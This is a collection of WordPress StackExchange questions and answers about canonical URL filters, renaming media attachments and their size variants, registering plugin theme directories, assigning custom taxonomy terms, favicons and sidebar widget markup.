"text": "<blockquote>\n <p>Upon inspection, this code never prints to the page. I imagine it might have to do with parse order.</p>\n</blockquote>\n\n<p>It depends where you added it. If you want to add code to the <code><head></code> element of the page you either need to put it in that element in the head in the header.php template or in your theme's functions.php file or a plugin with <a href=\"https://developer.wordpress.org/plugins/hooks/\" rel=\"nofollow noreferrer\">a hook</a>. Pasting just that code in functions.php naked (without a hook or function definition) will cause WordPress to output it before the page has even started being output, which can result in errors.</p>\n\n<p>Regardless, in this case WordPress offers a filter hook, <a href=\"https://developer.wordpress.org/reference/hooks/get_canonical_url/\" rel=\"nofollow noreferrer\"><code>get_canonical_url</code></a> which can be used to change the URL used in the canonical header added by WordPress.</p>\n\n<p>Use it like this:</p>\n\n<pre><code>function wpse_302620_canonical_url( $canonical_url, $post ) {\n if ( $post->ID === 1234 ) {\n $canonical_url = 'https://www.examplesite.com/my-guest-post';\n } \n\n return $canonical_url;\n}\nadd_filter( 'get_canonical_url', 'wpse_302620_canonical_url', 10, 2 );\n</code></pre>\n"
},
{
"answer_id": 388795,
"author": "revive",
"author_id": 8645,
"author_profile": "https://wordpress.stackexchange.com/users/8645",
"pm_score": 0,
"selected": false,
"text": "<p>Or to add them for all pages, except the homepage:</p>\n<pre><code> <?php\n if ( is_front_page() ) {\n $canonical_url = get_home_url();\n } else {\n $canonical_url = get_permalink();\n }\n ?>\n <link rel="canonical" href="<?php echo $canonical_url ?>" />\n</code></pre>\n"
}
]
| 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302620",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/121968/"
]
| I wrote a guest blog post for another website. I'd like to publish this same blog post on *my* website but include a **canonical URL** that points to the original publisher.
This allows me to post the article on my website while notifying Search Engines of the canonical location of the post and avoiding SEO penalties.
In the wp\_head action, WordPress prints a `rel=canonical` tag automatically and places it in the head for posts.
I tried to use a snippet of code to output my own `rel=canonical` (possibly compounding the already automatically output one) with:
```
<?php if ( is_single('1234') ) echo '<link rel="canonical" href="https://www.examplesite.com/my-guest-post" />'; ?>
```
Upon inspection, this code never prints to the page. I imagine it might have to do with parse order.
Does anyone know how I might correctly implement this? I don't want to mess with the WordPress native code too much but would like to find a simple mechanism that lets me alter the `rel=canonical` meta tag on a per post basis.
I do not want to use Yoast.
Thanks in advance, | >
> Upon inspection, this code never prints to the page. I imagine it might have to do with parse order.
>
>
>
It depends where you added it. If you want to add code to the `<head>` element of the page you either need to put it in that element in the head in the header.php template or in your theme's functions.php file or a plugin with [a hook](https://developer.wordpress.org/plugins/hooks/). Pasting just that code in functions.php naked (without a hook or function definition) will cause WordPress to output it before the page has even started being output, which can result in errors.
Regardless, in this case WordPress offers a filter hook, [`get_canonical_url`](https://developer.wordpress.org/reference/hooks/get_canonical_url/) which can be used to change the URL used in the canonical header added by WordPress.
Use it like this:
```
function wpse_302620_canonical_url( $canonical_url, $post ) {
if ( $post->ID === 1234 ) {
$canonical_url = 'https://www.examplesite.com/my-guest-post';
}
return $canonical_url;
}
add_filter( 'get_canonical_url', 'wpse_302620_canonical_url', 10, 2 );
``` |
302,634 | <p>I would like to move attached file from one directory within WP uploads folder to another directory. The code below achieves the task. As you can see, I move the original file and also all widthxheight files automatically generated by WP (such as 150x150, 30x300). I call update_attached_file($id, $new_filepath ) and I can see the files moved, they are visible in Media library - no problem.</p>
<p>The issue happens when I try to rename the original file. From "name.jpg" to "username_name.jpg". Now the files are still moved to the new directory and they are renamed "username_name.jpg", "username_name-150x150.jpg", "username_name-300x300.jpg". <strong>However,</strong> WP Media library does not show the thumbnail now. It still expects "name-150x150.jpg" istead of "username_name-150x150.jpg".</p>
<p>The question is how can I update wordpress on the new file names for the widthxheight files? I searched and could not find any function that would give me IDs for the attachment size files. It must be possible. So many plugins do the renaming all the time...Any help?</p>
<pre><code> // Get all uploaded file attachment IDs
$media_ids = $_POST['item_meta'][205]; // file upload field ID
// Loop through each attachment
foreach ( (array)$media_ids as $id ) {
if ( ! $id ) {
continue; // exit when there are no more attachments to loop through
}
// extract attachment file name without extension
$path_parts = pathinfo( get_attached_file( $id ));
$filenamenoextention = $path_parts['filename'];
// Extract username
$username = sanitize_title($_POST['item_meta'][195]);
// Set new base path
$new_filepath_base = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/';
// create user directory, if it does not exist already
$userdir = $new_filepath_base . $username;
if (!file_exists($userdir)) {
mkdir($userdir, 0775, true);
}
// Wordpress saves extra file sizes. Extract paths to all of them using wildcard *.
$original_filepaths = glob($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/form/20/' . $filenamenoextention . '*');
// Loop through WP-generated files and move them to a new location.
foreach ($original_filepaths as $original_filepath) {
// Add alt to the image. Good for SEO.
update_post_meta( $id, '_wp_attachment_image_alt', 'main profile photo - ' . $username);
// enrich filename with username and a tag
// $new_filename = $username .'_' . basename($original_filepath);
$new_filename = basename($original_filepath);
$new_filepath = $userdir . '/' . $new_filename;
$rename_result = rename($original_filepath, $new_filepath);
// If move was successful, update file path so that WP Media interface can find it.
if($rename_result)
{
update_attached_file($id, $new_filepath );
}
}
}
</code></pre>
| [
{
"answer_id": 302771,
"author": "user141080",
"author_id": 141080,
"author_profile": "https://wordpress.stackexchange.com/users/141080",
"pm_score": 0,
"selected": false,
"text": "<p>If you upload an image in the wordpress backend, wordpress creates copies of that file in different sizes (\"widthxheight\" files). The metadata of that attachment will be saved in the table \"<em>wp_postmeta</em>\". </p>\n\n<p>But if you look in this table, you would realize there are only two entries for that attachment (post_id). The first entry is \"<em>_wp_attached_file</em>\" and the second is \"<em>_wp_attachment_metadata</em>\".</p>\n\n<p><em>_wp_attached_file</em> => contains the path to the orginal image</p>\n\n<p><em>_wp_attachment_metadata</em> => contains the metadata which includes the names and sizes of \"widthxheight\" files.</p>\n\n<p>To get the data from <em>_wp_attachment_metadata</em> you can use the function <a href=\"https://developer.wordpress.org/reference/functions/wp_get_attachment_metadata/\" rel=\"nofollow noreferrer\">wp_get_attachment_metadata</a> an to change the data you can use the function <a href=\"https://codex.wordpress.org/Function_Reference/wp_update_attachment_metadata\" rel=\"nofollow noreferrer\">wp_update_attachment_metadata</a>.</p>\n\n<p>The function <a href=\"https://developer.wordpress.org/reference/functions/update_attached_file/\" rel=\"nofollow noreferrer\">update_attached_file</a> edit only the <em>_wp_attached_file</em> entry.</p>\n\n<p>Usefull links:</p>\n\n<p><a href=\"https://wordpress.stackexchange.com/a/221254/141080\">How to change _wp_attachment_metadata specific value in SQL? - wordpress.stackexchange.com</a></p>\n\n<p><a href=\"https://wordpress.stackexchange.com/questions/30313/change-attachment-filename?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa\">Change attachment filename - wordpress.stackexchange.com</a> </p>\n"
},
{
"answer_id": 302916,
"author": "Tanya",
"author_id": 142982,
"author_profile": "https://wordpress.stackexchange.com/users/142982",
"pm_score": 2,
"selected": false,
"text": "<p>Here is the code that works. Files are moved to 'username' folder and names for all files (including width x height) are updated.</p>\n\n<pre><code> // Get all uploaded file attachment IDs\n $media_ids = $_POST['item_meta'][205]; // file upload field ID\n\n\n // Loop through each attachment\n foreach ( (array) $media_ids as $id ) {\n if ( ! $id ) {\n continue; // exit when there are no more attachments to loop through\n }\n\n // Extract username\n $username = sanitize_title($_POST['item_meta'][195]);\n\n // Set filenames and paths\n $old_filename_mainmedia = basename( get_attached_file( $id ) );\n $new_filename_mainmedia = $username . '_' . $old_filename_mainmedia;\n $old_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/' . $old_filename_mainmedia; \n $new_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/' . $username .'/' . $new_filename_mainmedia;\n\n // create user directory, if it does not exist already\n if (!file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username)) {\n mkdir($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username, 0775, true);\n }\n\n\n // Construct attachment metadata: https://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata\n $meta = wp_get_attachment_metadata($id);\n $meta['file'] = str_replace( $old_filename_mainmedia, $new_filename_mainmedia, $meta['file'] );\n\n // Rename the original file\n rename($old_filepath_mainmedia, $new_filepath_mainmedia);\n\n // Rename the sizes\n $old_filename_sizemedia = pathinfo( basename( $old_filepath_mainmedia ), PATHINFO_FILENAME );\n $new_filename_sizemedia = pathinfo( basename( $new_filepath_mainmedia ), PATHINFO_FILENAME );\n foreach ( (array)$meta['sizes'] AS $size => $meta_size ) {\n $old_filepath_sizemedia = dirname( $old_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];\n $meta['sizes'][$size]['file'] = str_replace( $old_filename_sizemedia, $new_filename_sizemedia, $meta['sizes'][$size]['file'] );\n $new_filepath_sizemedia = dirname( $new_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];\n rename( $old_filepath_sizemedia, $new_filepath_sizemedia );\n }\n\n // Add alt to the image. Good for SEO.\n update_post_meta( $id, '_wp_attachment_image_alt', 'Gritmatch Pro - main profile photo - ' . $username);\n\n // Update media library post title\n $post = get_post($id); \n $post->post_title = $new_filename_mainmedia;\n $post->post_excerpt = \"this is caption\";\n $post->post_content = \"this is content\";\n $post->post_name = \"this is post name\";\n wp_update_post( $post );\n\n // Update Wordpress \n wp_update_attachment_metadata( $id, $meta );\n update_attached_file($id, $new_filepath_mainmedia );\n\n } // end looping through each media attachment\n</code></pre>\n"
}
]
| 2018/05/03 | [
"https://wordpress.stackexchange.com/questions/302634",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142982/"
]
| I would like to move attached file from one directory within WP uploads folder to another directory. The code below achieves the task. As you can see, I move the original file and also all widthxheight files automatically generated by WP (such as 150x150, 30x300). I call update\_attached\_file($id, $new\_filepath ) and I can see the files moved, they are visible in Media library - no problem.
The issue happens when I try to rename the original file. From "name.jpg" to "username\_name.jpg". Now the files are still moved to the new directory and they are renamed "username\_name.jpg", "username\_name-150x150.jpg", "username\_name-300x300.jpg". **However,** WP Media library does not show the thumbnail now. It still expects "name-150x150.jpg" istead of "username\_name-150x150.jpg".
The question is how can I update wordpress on the new file names for the widthxheight files? I searched and could not find any function that would give me IDs for the attachment size files. It must be possible. So many plugins do the renaming all the time...Any help?
```
// Get all uploaded file attachment IDs
$media_ids = $_POST['item_meta'][205]; // file upload field ID
// Loop through each attachment
foreach ( (array)$media_ids as $id ) {
if ( ! $id ) {
continue; // exit when there are no more attachments to loop through
}
// extract attachment file name without extension
$path_parts = pathinfo( get_attached_file( $id ));
$filenamenoextention = $path_parts['filename'];
// Extract username
$username = sanitize_title($_POST['item_meta'][195]);
// Set new base path
$new_filepath_base = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/';
// create user directory, if it does not exist already
$userdir = $new_filepath_base . $username;
if (!file_exists($userdir)) {
mkdir($userdir, 0775, true);
}
// Wordpress saves extra file sizes. Extract paths to all of them using wildcard *.
$original_filepaths = glob($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/form/20/' . $filenamenoextention . '*');
// Loop through WP-generated files and move them to a new location.
foreach ($original_filepaths as $original_filepath) {
// Add alt to the image. Good for SEO.
update_post_meta( $id, '_wp_attachment_image_alt', 'main profile photo - ' . $username);
// enrich filename with username and a tag
// $new_filename = $username .'_' . basename($original_filepath);
$new_filename = basename($original_filepath);
$new_filepath = $userdir . '/' . $new_filename;
$rename_result = rename($original_filepath, $new_filepath);
// If move was successful, update file path so that WP Media interface can find it.
if($rename_result)
{
update_attached_file($id, $new_filepath );
}
}
}
``` | Here is the code that works. Files are moved to 'username' folder and names for all files (including width x height) are updated.
```
// Get all uploaded file attachment IDs
$media_ids = $_POST['item_meta'][205]; // file upload field ID
// Loop through each attachment
foreach ( (array) $media_ids as $id ) {
if ( ! $id ) {
continue; // exit when there are no more attachments to loop through
}
// Extract username
$username = sanitize_title($_POST['item_meta'][195]);
// Set filenames and paths
$old_filename_mainmedia = basename( get_attached_file( $id ) );
$new_filename_mainmedia = $username . '_' . $old_filename_mainmedia;
$old_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/' . $old_filename_mainmedia;
$new_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/' . $username .'/' . $new_filename_mainmedia;
// create user directory, if it does not exist already
if (!file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username)) {
mkdir($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username, 0775, true);
}
// Construct attachment metadata: https://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata
$meta = wp_get_attachment_metadata($id);
$meta['file'] = str_replace( $old_filename_mainmedia, $new_filename_mainmedia, $meta['file'] );
// Rename the original file
rename($old_filepath_mainmedia, $new_filepath_mainmedia);
// Rename the sizes
$old_filename_sizemedia = pathinfo( basename( $old_filepath_mainmedia ), PATHINFO_FILENAME );
$new_filename_sizemedia = pathinfo( basename( $new_filepath_mainmedia ), PATHINFO_FILENAME );
foreach ( (array)$meta['sizes'] AS $size => $meta_size ) {
$old_filepath_sizemedia = dirname( $old_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];
$meta['sizes'][$size]['file'] = str_replace( $old_filename_sizemedia, $new_filename_sizemedia, $meta['sizes'][$size]['file'] );
$new_filepath_sizemedia = dirname( $new_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];
rename( $old_filepath_sizemedia, $new_filepath_sizemedia );
}
// Add alt to the image. Good for SEO.
update_post_meta( $id, '_wp_attachment_image_alt', 'Gritmatch Pro - main profile photo - ' . $username);
// Update media library post title
$post = get_post($id);
$post->post_title = $new_filename_mainmedia;
$post->post_excerpt = "this is caption";
$post->post_content = "this is content";
$post->post_name = "this is post name";
wp_update_post( $post );
// Update Wordpress
wp_update_attachment_metadata( $id, $meta );
update_attached_file($id, $new_filepath_mainmedia );
} // end looping through each media attachment
``` |
302,640 | <p>I want to activate a theme located in my plugin as the main theme.</p>
<pre><code>/*
* For directory structure like:
*
* /my-plugin/
* - /my-plugin.php
* - /themes/
*
*
*/
register_theme_directory( dirname( __FILE__ ) . '/themes' );
</code></pre>
<p>What am I missing to then activate the theme on plugin activation?</p>
<p><a href="https://codex.wordpress.org/register_theme_directory" rel="nofollow noreferrer">https://codex.wordpress.org/register_theme_directory</a></p>
| [
{
"answer_id": 302771,
"author": "user141080",
"author_id": 141080,
"author_profile": "https://wordpress.stackexchange.com/users/141080",
"pm_score": 0,
"selected": false,
"text": "<p>If you upload an image in the wordpress backend, wordpress creates copies of that file in different sizes (\"widthxheight\" files). The metadata of that attachment will be saved in the table \"<em>wp_postmeta</em>\". </p>\n\n<p>But if you look in this table, you would realize there are only two entries for that attachment (post_id). The first entry is \"<em>_wp_attached_file</em>\" and the second is \"<em>_wp_attachment_metadata</em>\".</p>\n\n<p><em>_wp_attached_file</em> => contains the path to the orginal image</p>\n\n<p><em>_wp_attachment_metadata</em> => contains the metadata which includes the names and sizes of \"widthxheight\" files.</p>\n\n<p>To get the data from <em>_wp_attachment_metadata</em> you can use the function <a href=\"https://developer.wordpress.org/reference/functions/wp_get_attachment_metadata/\" rel=\"nofollow noreferrer\">wp_get_attachment_metadata</a> an to change the data you can use the function <a href=\"https://codex.wordpress.org/Function_Reference/wp_update_attachment_metadata\" rel=\"nofollow noreferrer\">wp_update_attachment_metadata</a>.</p>\n\n<p>The function <a href=\"https://developer.wordpress.org/reference/functions/update_attached_file/\" rel=\"nofollow noreferrer\">update_attached_file</a> edit only the <em>_wp_attached_file</em> entry.</p>\n\n<p>Usefull links:</p>\n\n<p><a href=\"https://wordpress.stackexchange.com/a/221254/141080\">How to change _wp_attachment_metadata specific value in SQL? - wordpress.stackexchange.com</a></p>\n\n<p><a href=\"https://wordpress.stackexchange.com/questions/30313/change-attachment-filename?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa\">Change attachment filename - wordpress.stackexchange.com</a> </p>\n"
},
{
"answer_id": 302916,
"author": "Tanya",
"author_id": 142982,
"author_profile": "https://wordpress.stackexchange.com/users/142982",
"pm_score": 2,
"selected": false,
"text": "<p>Here is the code that works. Files are moved to 'username' folder and names for all files (including width x height) are updated.</p>\n\n<pre><code> // Get all uploaded file attachment IDs\n $media_ids = $_POST['item_meta'][205]; // file upload field ID\n\n\n // Loop through each attachment\n foreach ( (array) $media_ids as $id ) {\n if ( ! $id ) {\n continue; // exit when there are no more attachments to loop through\n }\n\n // Extract username\n $username = sanitize_title($_POST['item_meta'][195]);\n\n // Set filenames and paths\n $old_filename_mainmedia = basename( get_attached_file( $id ) );\n $new_filename_mainmedia = $username . '_' . $old_filename_mainmedia;\n $old_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/' . $old_filename_mainmedia; \n $new_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/' . $username .'/' . $new_filename_mainmedia;\n\n // create user directory, if it does not exist already\n if (!file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username)) {\n mkdir($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username, 0775, true);\n }\n\n\n // Construct attachment metadata: https://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata\n $meta = wp_get_attachment_metadata($id);\n $meta['file'] = str_replace( $old_filename_mainmedia, $new_filename_mainmedia, $meta['file'] );\n\n // Rename the original file\n rename($old_filepath_mainmedia, $new_filepath_mainmedia);\n\n // Rename the sizes\n $old_filename_sizemedia = pathinfo( basename( $old_filepath_mainmedia ), PATHINFO_FILENAME );\n $new_filename_sizemedia = pathinfo( basename( $new_filepath_mainmedia ), PATHINFO_FILENAME );\n foreach ( (array)$meta['sizes'] AS $size => $meta_size ) {\n $old_filepath_sizemedia = dirname( $old_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];\n $meta['sizes'][$size]['file'] = str_replace( $old_filename_sizemedia, $new_filename_sizemedia, $meta['sizes'][$size]['file'] );\n $new_filepath_sizemedia = dirname( $new_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];\n rename( $old_filepath_sizemedia, $new_filepath_sizemedia );\n }\n\n // Add alt to the image. Good for SEO.\n update_post_meta( $id, '_wp_attachment_image_alt', 'Gritmatch Pro - main profile photo - ' . $username);\n\n // Update media library post title\n $post = get_post($id); \n $post->post_title = $new_filename_mainmedia;\n $post->post_excerpt = \"this is caption\";\n $post->post_content = \"this is content\";\n $post->post_name = \"this is post name\";\n wp_update_post( $post );\n\n // Update Wordpress \n wp_update_attachment_metadata( $id, $meta );\n update_attached_file($id, $new_filepath_mainmedia );\n\n } // end looping through each media attachment\n</code></pre>\n"
}
]
| 2018/05/04 | [
"https://wordpress.stackexchange.com/questions/302640",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/29133/"
]
| I want to activate a theme located in my plugin as the main theme.
```
/*
* For directory structure like:
*
* /my-plugin/
* - /my-plugin.php
* - /themes/
*
*
*/
register_theme_directory( dirname( __FILE__ ) . '/themes' );
```
What am I missing to then activate the theme on plugin activation?
<https://codex.wordpress.org/register_theme_directory> | Here is the code that works. Files are moved to 'username' folder and names for all files (including width x height) are updated.
```
// Get all uploaded file attachment IDs
$media_ids = $_POST['item_meta'][205]; // file upload field ID
// Loop through each attachment
foreach ( (array) $media_ids as $id ) {
if ( ! $id ) {
continue; // exit when there are no more attachments to loop through
}
// Extract username
$username = sanitize_title($_POST['item_meta'][195]);
// Set filenames and paths
$old_filename_mainmedia = basename( get_attached_file( $id ) );
$new_filename_mainmedia = $username . '_' . $old_filename_mainmedia;
$old_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/' . $old_filename_mainmedia;
$new_filepath_mainmedia = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/' . $username .'/' . $new_filename_mainmedia;
// create user directory, if it does not exist already
if (!file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username)) {
mkdir($_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/profiles/pro/' . $username, 0775, true);
}
// Construct attachment metadata: https://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata
$meta = wp_get_attachment_metadata($id);
$meta['file'] = str_replace( $old_filename_mainmedia, $new_filename_mainmedia, $meta['file'] );
// Rename the original file
rename($old_filepath_mainmedia, $new_filepath_mainmedia);
// Rename the sizes
$old_filename_sizemedia = pathinfo( basename( $old_filepath_mainmedia ), PATHINFO_FILENAME );
$new_filename_sizemedia = pathinfo( basename( $new_filepath_mainmedia ), PATHINFO_FILENAME );
foreach ( (array)$meta['sizes'] AS $size => $meta_size ) {
$old_filepath_sizemedia = dirname( $old_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];
$meta['sizes'][$size]['file'] = str_replace( $old_filename_sizemedia, $new_filename_sizemedia, $meta['sizes'][$size]['file'] );
$new_filepath_sizemedia = dirname( $new_filepath_mainmedia ).DIRECTORY_SEPARATOR.$meta['sizes'][$size]['file'];
rename( $old_filepath_sizemedia, $new_filepath_sizemedia );
}
// Add alt to the image. Good for SEO.
update_post_meta( $id, '_wp_attachment_image_alt', 'Gritmatch Pro - main profile photo - ' . $username);
// Update media library post title
$post = get_post($id);
$post->post_title = $new_filename_mainmedia;
$post->post_excerpt = "this is caption";
$post->post_content = "this is content";
$post->post_name = "this is post name";
wp_update_post( $post );
// Update Wordpress
wp_update_attachment_metadata( $id, $meta );
update_attached_file($id, $new_filepath_mainmedia );
} // end looping through each media attachment
``` |
302,679 | <p>I am trying to add a new post using the function <code>wp_inser_post</code> in one of my existing categories, I've created a new taxonomy named <code>categorie</code> and in that taxonomy i have a few categories, and I am not able to find a solution, the post is being added but no category is selected.</p>
<pre><code> $title = $_POST['postTitle'];
$description = $_POST['postContent'];
$new_post = array(
'post_title' => esc_attr(strip_tags($title)),
'post_content' => esc_attr(strip_tags($description)),
'post_type' => 'proiecte',
'post_status' => 'publish',
'post_category' => array(17,16),
'taxonomy' => 'categorie'
);
$post_id = wp_insert_post($new_post);
</code></pre>
| [
{
"answer_id": 302683,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 1,
"selected": false,
"text": "<p><code>post_category</code> is only for Core Categories. Use <code>tax_input</code> instead:</p>\n\n<pre><code>$new_post = array( \n 'post_title' => esc_attr(strip_tags($title)),\n 'post_content' => esc_attr(strip_tags($description)),\n 'post_type' => 'proiecte',\n 'post_status' => 'publish',\n 'tax_input' => array(\n 'categorie' => array(17,16)\n )\n);\n$post_id = wp_insert_post($new_post);\n</code></pre>\n\n<p>It may be clearer to other developers, and yourself in the future, if you use something other than <code>categorie</code> - perhaps <code>projecte_category</code> - just so it's clearer you're using a custom taxonomy and not misspelling Category.</p>\n"
},
{
"answer_id": 312158,
"author": "Sagar Nasit",
"author_id": 145145,
"author_profile": "https://wordpress.stackexchange.com/users/145145",
"pm_score": 0,
"selected": false,
"text": "<p>You can use WordPress's <code>wp_set_object_terms</code> to do this. You can call this function after <code>wp_insert_post</code> call.</p>\n\n<pre><code>$post_id = wp_insert_post($new_post);\n\nwp_set_object_terms( $post_id, 'term', 'categorie' );\n</code></pre>\n\n<p>You can pass set multiple terms by passing array of term.\nCeck this for more.<a href=\"https://developer.wordpress.org/reference/functions/wp_set_object_terms/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_set_object_terms/</a></p>\n"
}
]
| 2018/05/04 | [
"https://wordpress.stackexchange.com/questions/302679",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143015/"
]
| I am trying to add a new post using the function `wp_inser_post` in one of my existing categories, I've created a new taxonomy named `categorie` and in that taxonomy i have a few categories, and I am not able to find a solution, the post is being added but no category is selected.
```
$title = $_POST['postTitle'];
$description = $_POST['postContent'];
$new_post = array(
'post_title' => esc_attr(strip_tags($title)),
'post_content' => esc_attr(strip_tags($description)),
'post_type' => 'proiecte',
'post_status' => 'publish',
'post_category' => array(17,16),
'taxonomy' => 'categorie'
);
$post_id = wp_insert_post($new_post);
``` | `post_category` is only for Core Categories. Use `tax_input` instead:
```
$new_post = array(
'post_title' => esc_attr(strip_tags($title)),
'post_content' => esc_attr(strip_tags($description)),
'post_type' => 'proiecte',
'post_status' => 'publish',
'tax_input' => array(
'categorie' => array(17,16)
)
);
$post_id = wp_insert_post($new_post);
```
It may be clearer to other developers, and yourself in the future, if you use something other than `categorie` - perhaps `projecte_category` - just so it's clearer you're using a custom taxonomy and not misspelling Category. |
302,693 | <p>Curious fact: the favicon works only on admin dashboard on chrome/opera.</p>
<p>I've tried to clean the cache, but still not work. The line of code to the favicon its being included, buts it just doesnt work.</p>
<p><a href="https://i.stack.imgur.com/Y2yw3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Y2yw3.png" alt="favicon including codehtml"></a></p>
<p>I'm including the favicon through admin panel, to be dynamic. I just dont want to include it direct on the code.</p>
<hr>
<ul>
<li>Firefox (Works)</li>
<li>Edge (Works)</li>
<li>Tor (Works)</li>
<li>Chrome (Works only on admin dashboard)</li>
<li>Opera (Works only on admin dashboard)</li>
</ul>
| [
{
"answer_id": 302683,
"author": "WebElaine",
"author_id": 102815,
"author_profile": "https://wordpress.stackexchange.com/users/102815",
"pm_score": 1,
"selected": false,
"text": "<p><code>post_category</code> is only for Core Categories. Use <code>tax_input</code> instead:</p>\n\n<pre><code>$new_post = array( \n 'post_title' => esc_attr(strip_tags($title)),\n 'post_content' => esc_attr(strip_tags($description)),\n 'post_type' => 'proiecte',\n 'post_status' => 'publish',\n 'tax_input' => array(\n 'categorie' => array(17,16)\n )\n);\n$post_id = wp_insert_post($new_post);\n</code></pre>\n\n<p>It may be clearer to other developers, and yourself in the future, if you use something other than <code>categorie</code> - perhaps <code>projecte_category</code> - just so it's clearer you're using a custom taxonomy and not misspelling Category.</p>\n"
},
{
"answer_id": 312158,
"author": "Sagar Nasit",
"author_id": 145145,
"author_profile": "https://wordpress.stackexchange.com/users/145145",
"pm_score": 0,
"selected": false,
"text": "<p>You can use WordPress's <code>wp_set_object_terms</code> to do this. You can call this function after <code>wp_insert_post</code> call.</p>\n\n<pre><code>$post_id = wp_insert_post($new_post);\n\nwp_set_object_terms( $post_id, 'term', 'categorie' );\n</code></pre>\n\n<p>You can pass set multiple terms by passing array of term.\nCeck this for more.<a href=\"https://developer.wordpress.org/reference/functions/wp_set_object_terms/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_set_object_terms/</a></p>\n"
}
]
| 2018/05/04 | [
"https://wordpress.stackexchange.com/questions/302693",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140614/"
]
| Curious fact: the favicon works only on admin dashboard on chrome/opera.
I've tried to clean the cache, but still not work. The line of code to the favicon its being included, buts it just doesnt work.
[](https://i.stack.imgur.com/Y2yw3.png)
I'm including the favicon through admin panel, to be dynamic. I just dont want to include it direct on the code.
---
* Firefox (Works)
* Edge (Works)
* Tor (Works)
* Chrome (Works only on admin dashboard)
* Opera (Works only on admin dashboard) | `post_category` is only for Core Categories. Use `tax_input` instead:
```
$new_post = array(
'post_title' => esc_attr(strip_tags($title)),
'post_content' => esc_attr(strip_tags($description)),
'post_type' => 'proiecte',
'post_status' => 'publish',
'tax_input' => array(
'categorie' => array(17,16)
)
);
$post_id = wp_insert_post($new_post);
```
It may be clearer to other developers, and yourself in the future, if you use something other than `categorie` - perhaps `projecte_category` - just so it's clearer you're using a custom taxonomy and not misspelling Category. |
302,793 | <p>I have created a sidebar:</p>
<pre><code>function my_sidebar() {
register_sidebar(
array(
'name' => 'Blog Sidebar',
'id' => 'blog-sidebar',
'description' => 'Sidebar For Blog Page',
'before_widget' => '<div class="widget">',
'after_widget' => '</div>',
'before_title' => '<h5 class="widget-title">',
'after_title' => '</h5>'
)
);
}
add_action( 'widgets_init', 'my_sidebar');
</code></pre>
<p>I just added the "recent posts" widget and want to add a class to the <code><ul></code> tag but I can't seem to figure out how to do it in a simple way. I just want the <code><ul></code> tag to change to <code><ul class="link-list"></code></p>
| [
{
"answer_id": 302796,
"author": "Eduardo Escobar",
"author_id": 136130,
"author_profile": "https://wordpress.stackexchange.com/users/136130",
"pm_score": 1,
"selected": false,
"text": "<p>The quickest and practical solution for you would be to add your custom class to the before_widget wrapper:</p>\n\n<pre><code>'before_widget' => '<div class=\"widget ul-link-list\">'\n</code></pre>\n\n<p>Then use CSS rules accordingly:</p>\n\n<pre><code>.ul-link-list ul {\n /* Some CSS rules */\n}\n</code></pre>\n"
},
{
"answer_id": 368028,
"author": "Ivan Frolov",
"author_id": 178434,
"author_profile": "https://wordpress.stackexchange.com/users/178434",
"pm_score": 0,
"selected": false,
"text": "<p>It's not possible to modify markup normally via actions/filters because markup is hardcoded in Wordpress\n\\wp-includes\\theme-compat\\sidebar.php\n<a href=\"https://i.stack.imgur.com/fxrfq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fxrfq.png\" alt=\"enter image description here\"></a></p>\n\n<p>So it's possible to change only via js, or php html output parsing</p>\n"
}
]
| 2018/05/06 | [
"https://wordpress.stackexchange.com/questions/302793",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/140276/"
]
